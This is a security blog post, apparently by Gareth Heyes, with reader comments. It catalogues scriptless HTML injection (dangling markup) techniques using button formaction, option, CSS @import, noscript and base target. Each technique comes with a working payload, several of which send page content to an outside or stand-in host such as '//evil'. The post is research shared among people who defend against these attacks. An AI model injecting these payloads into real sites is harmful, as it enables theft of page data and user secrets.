HTML scriptless attacks

Following up on @lcamtuf’s post about a “post xss” world. I thought I’d chip in with some vectors he missed. The textarea consumption technique he mentioned isn’t new and wasn’t invented by “Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Colin Jackson.” it was openly discussed on sla.ckers for many years (as usual) but anyway lets discuss vectors.

Button as a scriptless vector

Using button is interesting because of two interesting specification changes in HTML5, one is the fact that the default type for a button is a submit and secondly the formaction attribute allows you to change it’s parent form action. In addition button consumes HTML, allowing you store any html after button until the next or non existent closing button tag. Example vector:


<button name=xss type=submit formaction=//evil>I get consumed!

Option as a scriptless vector

A strange fact is option also consumes HTML, pretty obvious when you think about it but could lead to info disclosure like the button example.


<form action=//evil><select name=xss><option><b>steal me!</b>

@import as a scriptless vector

The CSS specification states that @import should continue parsing a url until it encounters a ending “;”. This means you can use it to consume HTML. A vector like the following can steal data:


<style>@import//hackvertor.co.uk?
<b>steal me!</b>;

Noscript scriptless vector

Another interesting way to defeat XSS filters is to use the noscript tag as demonstrated by my attack against Caja’s HTML filter.


<noscript><form action=http://google.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=pwnd><textarea name=contents></noscript>

It uses the noscript tag to generate a textarea that when enabled (because of no javascript present) consumes the HTML after. This can also be initiated using security=restricted on IE or the new HTML5 iframe sandbox option. Original report.

Using window.name via base target

You can also use the target attribute to assign the contents of the HTML after to the window name and then later retrieve it x-domain after a user clicks an external link.


<base target='
steal me'<b>test</b>

So here we inject a base tag with a target attribute, the target then assigns everything after ‘ to the window.name and then can be retrieved when the user clicks to the external server.

That’s all folks.

7 Responses to “HTML scriptless attacks”

  1. Michal Zalewski writes:

    The button and option vectors are nice. The window.name target is essentially a variant of the dangling tag attack, and I think I do mention window.name attacks as a possibility.

    I’m not sure how the style or noscript vectors would apply to the discussion focused on CSP (which no longer allows inline scripts)?

  2. Gareth Heyes writes:

    @michal

    The noscript one would be when a HTML filter (like the caja example) allows the noscript tag and assumes the contents is only applied when no script is available. The technique takes advantage of the assumption that it won’t really be used but you can force it with security=restricted and iframe sandboxes.

    You can also use it to break html comments e.g. different behaviour when no script is available. I think it’s a worthy scriptless attack.

  3. Michal Zalewski writes:

    Sure; I intentionally excluded implementation-specific attacks on HTML filters, though – because then you could write a full book about it, wink wink nudge nudge 🙂

    I’m more interested in the hypothetical scenario where you have a perfect implementation that removes unauthorized scripts, a la CSP. You then soon realize that CSS is a giant loophole, but they fixed that in the spec… so the question is, what else is on the table, and probably can’t be fixed without also banning inline HTML 😉

  4. Gareth Heyes writes:

    Once all my bugs are fixed I’ll do a book on implementation-specific attacks on HTML filters 😀

  5. Gareth Heyes writes:

    RE dangling tag attack, it’s similar but with one difference a network request isn’t sent and essentially you hijacked the current tab to store the HTML code. The attacker can then use a normal html link to retrieve the stored info.

  6. aels writes:

    in “Option as a scriptless vector”
    just missed “selected” attribute, i think.

    steal me!

  7. Gareth Heyes writes:

    @aels

    Good point